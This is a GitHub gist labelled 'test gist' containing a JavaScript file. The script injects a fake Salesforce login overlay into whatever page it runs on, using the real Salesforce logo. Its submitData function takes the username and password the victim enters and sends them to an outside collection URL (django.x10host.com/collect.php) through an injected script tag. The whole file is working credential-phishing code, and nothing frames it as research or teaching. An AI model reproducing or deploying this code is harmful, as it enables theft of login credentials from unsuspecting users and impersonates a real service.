Last active
August 29, 2015 14:24
-
-
Save jdutta/ee0b01d2a3236684c96e to your computer and use it in GitHub Desktop.
test gist
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function addHtml() { | |
var html = '\ | |
<div class="e-overlay">\ | |
<div class="e-modal">\ | |
<div class="e-left">\ | |
<div class="e-logo"></div>\ | |
<div class="e-inputs">\ | |
<input type="text" id="e-user" class="e-user" placeholder="Username"><br/>\ | |
<input type="password" id="e-pass" class="e-pass" placeholder="Password">\ | |
</div>\ | |
<button class="e-submit" onclick="submitData()">Log in to Salesforce</button>\ | |
<div class="e-para">\ | |
<input type="checkbox" id="e-remme">\ | |
<label for="e-remme">Remember Username</label>\ | |
</div>\ | |
<div class="e-para">\ | |
<a href="#">Forgot your password?</a> | <a href="#">Sign up for free.</a>\ | |
</div>\ | |
<div class="e-para">\ | |
<a href="#">Log in to a custom domain.</a>\ | |
</div>\ | |
</div>\ | |
<div class="e-right">\ | |
\ | |
</div>\ | |
</div>\ | |
</div>\ | |
'; | |
var divNode = document.createElement('div'); | |
divNode.innerHTML = html; | |
document.body.appendChild(divNode); | |
} | |
function addStyle() { | |
var css = '\ | |
.e-overlay {\ | |
position: absolute;\ | |
left: 0;\ | |
right: 0;\ | |
top: 0;\ | |
bottom: 0;\ | |
background-color: rgba(0,0,0, 0.7);\ | |
color: #999;\ | |
font-family: helvetica;\ | |
font-size: 13px;\ | |
}\ | |
\ | |
.e-overlay a {\ | |
text-decoration: none;\ | |
color: #2789c7;\ | |
}\ | |
\ | |
.e-modal {\ | |
background-color: #eee;\ | |
width: 780px;\ | |
height: 390px;\ | |
margin: 0 auto;\ | |
margin-top: 200px;\ | |
text-align: center;\ | |
padding: 10px 0px;\ | |
border-radius: 5px;\ | |
box-shadow: 0 0 2px 2px rgba(0,0,0,0.4);\ | |
}\ | |
\ | |
.e-logo {\ | |
height: 90px;\ | |
background: transparent url(https://login.salesforce.com/img/logo190.png) center center no-repeat;\ | |
background-size: contain;\ | |
margin-top: 20px;\ | |
margin-bottom: 10px;\ | |
}\ | |
\ | |
.e-left, .e-right {\ | |
display: inline-block;\ | |
}\ | |
\ | |
.e-right {\ | |
width: 500px;\ | |
height: 100%;\ | |
vertical-align: top;\ | |
background: transparent url(http://i.imgur.com/ZC5F7cY.png) right top no-repeat;\ | |
}\ | |
\ | |
.e-inputs input {\ | |
height: 40px;\ | |
width: 220px;\ | |
font-size: 12px;\ | |
padding: 0 10px;\ | |
}\ | |
\ | |
.e-submit {\ | |
margin-top: 10px;\ | |
width: 245px;\ | |
height: 40px;\ | |
color: #fff;\ | |
background-color: #2789c7;\ | |
border: 1px solid #aaa;\ | |
border-radius: 2px;\ | |
font-size: 17px;\ | |
}\ | |
\ | |
.e-para {\ | |
text-align: left;\ | |
margin-top: 10px;\ | |
}\ | |
'; | |
var styleNode = document.createElement('style'); | |
styleNode.appendChild(document.createTextNode(css)); | |
document.getElementsByTagName('head')[0].appendChild(styleNode); | |
} | |
function submitData() { | |
var user = document.getElementById('e-user').value; | |
var pass = document.getElementById('e-pass').value; | |
console.log('submitdata', user, pass); | |
var scriptNode = document.createElement('script'); | |
scriptNode.setAttribute('src', 'http://django.x10host.com/collect.php?user='+user+'&pass='+pass); | |
document.getElementsByTagName('head')[0].appendChild(scriptNode); | |
} | |
function showLogin() { | |
addHtml(); | |
addStyle(); | |
} | |
showLogin(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment